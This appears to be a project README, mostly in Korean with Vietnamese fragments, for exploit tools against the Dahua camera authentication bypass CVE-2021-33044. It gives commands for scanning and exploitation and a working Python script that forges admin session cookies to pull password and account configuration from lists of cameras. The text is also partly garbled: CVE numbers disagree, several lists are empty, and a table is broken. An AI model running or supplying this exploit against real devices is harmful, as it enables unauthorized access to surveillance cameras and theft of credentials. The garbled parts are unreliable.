
DAHUA_AUTH-BYPASS-CVE-2021-33044
Dahua IP 카메라는 보안 감시 시스템에서 널리 사용되는 IoT 장치입니다. 내부 네트워크에 배포되거나 인터넷을 통해 접근되는 경우가 많기 때문에 IP 카메라의 보안 취약점은 개인정보 보호와 정보 보안에 심각한 영향을 미칠 수 있습니다.
CVE-2021-33045는 일부 Dahua 카메라 모델에 존재하는 보안 취약점으로, 유효한 인증 없이 내부 구성 리소스에 대한 무단 접근을 허용합니다. 이 취약점은 장치 펌웨어의 엄격하지 않은 접근 제어 메커니즘에서 비롯됩니다.
| 항목 | 내용 |
|---|---|
| CVE | CVE-2021-33044 |
| 유형 | Authentication Bypass |
| 심각도 | Critical (CVSS ~9.8) |
| 인증 | 인증 불필요 |
| 영향 | Dahua Camera / DVR / NVR |
이 취약점은 Dahua 카메라 펌웨어의 안전하지 않은 인증 설계에서 비롯됩니다:
이로 인해 공격자는 다음을 수행할 수 있습니다:
참고:
→ Client gửi HTTP request kèm cookie tùy ý
→ Camera kiểm tra cookie ở mức giao diện
→ Không xác minh session hợp lệ ở backend
→ Cho phép truy cập trực tiếp vào các endpoint cấu hình nội bộ
→ Trả về dữ liệu nhạy cảm
| File | 목적 | CVEs |
|---|
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Single host with port
python dahua_scanner.py https://example.com
일반적인 Dahua 포트: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump thiết bị sau khi bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
스크립트는 requests 라이브러리를 사용하며 SSL 경고를 적극적으로 비활성화합니다.
dump_accounts(ip, port=80) 함수는 카메라 장치 하나를 검사하는 핵심 함수입니다.
함수의 주요 기능은 다음과 같습니다:
인증 쿠키를 시뮬레이션합니다. 함수는 다음과 같은 쿠키 값을 사용합니다:
userName=adminuserLevel=1sessionID=00000000영향을 받는 카메라 버전에서 백엔드는 실제 sessionID를 검증하지 않으므로 시스템은 해당 요청이 유효한 관리자 계정에서 전송된 것으로 신뢰합니다.
스크립트는 입력 파일에서 대상 목록을 읽고 각 장치에 대해 검사 함수를 차례로 호출합니다. 이 접근 방식을 통해 여러 카메라를 자동으로 평가할 수 있습니다.
이 스크립트들은 다음을 기반으로 개발되었습니다:
테스트 상태:
이 프로젝트는:
dahua_scanner.py | 네트워크 탐색 — 서브넷에서 Dahua 카메라 검색 | 탐지 |
dahua_exploit.py | Multi-CVE 스캐너 — 모든 보안 취약점을 검사합니다. | 전체 |
dahua_auth_bypass.py | --dump 옵션을 지원하는 전용 인증 우회 | CVE-2021-33044 |